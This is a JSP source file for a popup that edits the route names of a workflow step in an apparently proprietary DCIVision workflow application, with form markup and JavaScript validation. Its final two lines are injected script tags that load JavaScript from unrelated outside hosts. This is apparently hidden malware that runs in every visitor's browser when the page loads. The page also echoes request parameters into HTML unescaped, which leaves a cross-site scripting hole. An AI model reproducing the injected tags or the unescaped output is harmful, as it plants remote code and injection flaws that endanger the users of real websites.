<%
/*
 * @(#)EditWorkflowStepRoutine.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowStepRoutine.jsp

  This class is reflecting business logic uses.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    24/08/2004
    @version          $Revision: 1.9.2.7 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowStepRoutineForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowStepRoutineForm"/>

<%
  int numOfCustomization = new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_UDF_CUSTOMIZATION_NO)).intValue();
  int tmpListTotal=0;
  int listSize=0;
  int newFieldSize=0;
  Integer opNewField=new Integer(1);
  Integer defaultFieldSize = new Integer(5);//new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_USER_DEFINED_FIELD_SIZE));

  if (request.getAttribute("newFieldsSize") != null){
    newFieldSize = ((Integer) request.getAttribute("newFieldsSize")).intValue();
  }

  if (request.getAttribute("listSize") != null){
    listSize = ((Integer) request.getAttribute("listSize")).intValue();
  }

  if (request.getParameter("newField") != null){
    opNewField = new Integer(request.getParameter("newField"));
  }

  //indicate the workflow record was released or not
  boolean isReleased = false;
  isReleased = "true".equals(request.getParameter("isReleased"));


  String navMode = (String) maintWorkflowStepRoutineForm.getNavMode();
  String routeListValue = request.getParameter("routeListValue");
  tmpListTotal=defaultFieldSize.intValue();
  String[] routeArr = null;
  if(!Utility.isEmpty(routeListValue)){
    routeArr = TextUtility.splitString(routeListValue,"|");
    tmpListTotal = routeArr.length;
  }
%>


<%try{%>
<html:form action="workflow/MaintWorkflowStepRoutine" styleClass="form-style-2">
<html:javascript formName="maintWorkflowStepRoutineForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>


<layout:popupTitle titleKey ="workflow.label.workflow_step_priority_rule_list"/>
<layout:tabContainer id="tab1">
<layout:returnButton className="btn-standard" returnURL=""/>
   <layout:tabBar>
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/> 
    </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table width="512">
  <!-- Section Header -->
  <layout:sectionHeader blackLine="false"/>
  <tr>
    <td colspan="2" ">&nbsp;<html:img src='Spacer.gif'  width='1' height='10'/></td>
  </tr>
  <tr>
    <td class="bodySmallBold" colspan="2"><B><bean:message key="workflow.label.rout_name"/>&nbsp;</B></td>

  </tr>
  <tr>
    <td colspan="2" valign="top">&nbsp;</td>

  </tr>

  <tr>
    <td colspan="2" style="padding:0px"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>

  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td  width='70%'nowrap>
          <bean:message key="workflow.label.possible_route"/>
          </td>
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && !isReleased) {%>
          <td class="bodySmallBold" width="20%" align="right" nowrap>&nbsp;
            <bean:message key='workflow.label.new_routes'/>&nbsp;
          </td>
          <td>
            <nobr>
            <input type="text" name="newField" value="<%=opNewField%>" size='1' style='font-size:11px'>
            <a href="javascript://" onClick="return opAddFields();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
            </nobr>
          </td>
          <%}%>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>

  <%
    if (listSize==0 ) {

      for (int i=0; i<tmpListTotal; i++) {
      %>
  <tr>
    <td class="formLabelSmall" width="20%" align="right"><%=i+1%>:&nbsp;</td>
    <td class="formFieldSmall" width="80%" align="left">
      <table width="100%" border="0" cellpadding="0" cellspacing="0"><tr>
        <td width="170" class="formFieldSmall"><nobr>
        <%if (!isReleased) {%>
        <input type="text" name="definedField_<%=i%>" value='<%=(!Utility.isEmpty(routeArr)&&i<routeArr.length)?routeArr[i]:""%>' size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
        <%}else{%>
        <%=routeArr[i]%>
        <%}%>
        </nobr></td>
        <td class="formFieldSmall">
        <%if (!isReleased) {%>
        <input type="checkbox" name="delete_<%=i%>" value="Delete" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
        <%}%>
        </td>
      </tr></table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
    <%}
    }


    if (newFieldSize!=0) {
      for (int i=0; i<newFieldSize; i++) {
      %>
  <tr>
    <td class="formLabelSmall" width="20%" align="right"><%=i+1%>:&nbsp;</td>
    <td class="formFieldSmall" width="80%" align="left">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="170" class="dataField"><nobr>
          <input type="text" name="definedField_<%=i%>" value='<%=(!Utility.isEmpty(routeArr)&&i<routeArr.length) ?routeArr[i]:""%>' size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
          </nobr></td>
          <td class="formFieldSmall"><b>
          <input type="checkbox" name="delete_<%=i%>" value="Delete" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
        </b></td>
      </tr>
    </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
    <%}
      tmpListTotal=newFieldSize;
    }
    if (tmpListTotal < listSize) {
      tmpListTotal=listSize;
    }
  %>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <input type="hidden" name="tmpListTotal" value="<%=tmpListTotal%>">
  <input type="hidden" name="listSize" value="<%=tmpListTotal%>">
  <input type="hidden" name="routeListValue" value="<%=routeListValue%>">

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>


  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!isReleased) {%>
      <html:standardButton label="common.label.confirm" onClick="return custOpConfirm()"/>
    <%}%>
      <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
     </div>
   </div>

<script language="Javascript">
<!--

function custOpConfirm() {
  var parent = window.opener;
  var routineListValue = "";

  <%for (int i=0; i< tmpListTotal; i++){%>
    if (!document.maintWorkflowStepRoutineForm.delete_<%=i%>.checked){
      if(document.maintWorkflowStepRoutineForm.definedField_<%=i%>.value != ""){
		//bill add for EIP-1718 start
		var routineValueArray=routineListValue.split("|");
		//Check duplicated route name
		for(var index=0;index<routineValueArray.length;index++){
		  if(document.maintWorkflowStepRoutineForm.definedField_<%=i%>.value==routineValueArray[index]){
		    alert("<bean:message key='workflow.message.duplicated_route_name_is_found'/>");
			return(false);
		  }
		}
		//bill add for EIP-1718 end
        routineListValue += document.maintWorkflowStepRoutineForm.definedField_<%=i%>.value + "|";
      }
    }
  <%}%>
  opener.putRouteList("maintWorkflowStepForm",routineListValue);
  
  window.close();
}

function isInt(){
	var vIntValue=document.maintWorkflowStepRoutineForm.newField.value;
	var validChars = "0123456789";
	var vchar;
	var isInt=-1;
	for(var i=0;i<vIntValue.length;i++){
		vchar=vIntValue.substring(i,i+1);
		isInt=validChars.indexOf(vchar);
		if(isInt==-1){
			return false;
		}else	if(i==0 && vchar==0){
			return false;
		}
	}
	return true;
}

function opAddFields() {
  var intValue;
  var routeListValue = "";
  intValue=parseInt(document.maintWorkflowStepRoutineForm.newField.value);

  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.workflow.WorkflowErrorConstant.NEW_ROUTE_NUMERIC_VALUE)%>");
    document.maintWorkflowStepRoutineForm.newField.focus();
    return(false);
  }
  
  if(!isInt()){
  	alert("<bean:message key='errors.workflow.operator_numeric_value'/>");
    document.maintWorkflowStepRoutineForm.newField.focus();
    return(false);
  }
  
  if(intValue<0 || intValue>100){
		alert("<bean:message key='errors.workflow.new_route_numeric_value_in'/>");
		document.maintWorkflowStepRoutineForm.newField.value=1;
		document.maintWorkflowStepRoutineForm.newField.focus();
    return(false);
	}
  <%
  int maxNoOfIndexField = new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_MAX_INDEX_FIELDS)).intValue();
  %>

   var tmplistSize1 = parseInt(document.maintWorkflowStepRoutineForm.listSize.value);

   /*
   if ((intValue+tmplistSize1)>(<%=maxNoOfIndexField%>)){
      alert("<bean:message key='dms.message.exceed_max_index_field' arg0='<%=String.valueOf(maxNoOfIndexField)%>' />");
      document.maintWorkflowStepRoutineForm.newField.focus();
      return(false);
   }
   */



  <%for (int i=0; i< tmpListTotal; i++){%>
    if (!document.maintWorkflowStepRoutineForm.delete_<%=i%>.checked){
      if(document.maintWorkflowStepRoutineForm.definedField_<%=i%>.value != ""){
        routeListValue += document.maintWorkflowStepRoutineForm.definedField_<%=i%>.value + "|";
      }
    }
  <%}%>
  document.maintWorkflowStepRoutineForm.routeListValue.value = routeListValue;
  document.maintWorkflowStepRoutineForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  var listSize = parseInt(document.maintWorkflowStepRoutineForm.listSize.value, 10);
  for (var i = 0; i < listSize; i++) {
    document.maintWorkflowStepRoutineForm.elements['delete_' + i].checked = false;
  }

  document.maintWorkflowStepRoutineForm.submit();
  return(false);
}


-->
</script>
</html:form>


<%}catch(Exception e){}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>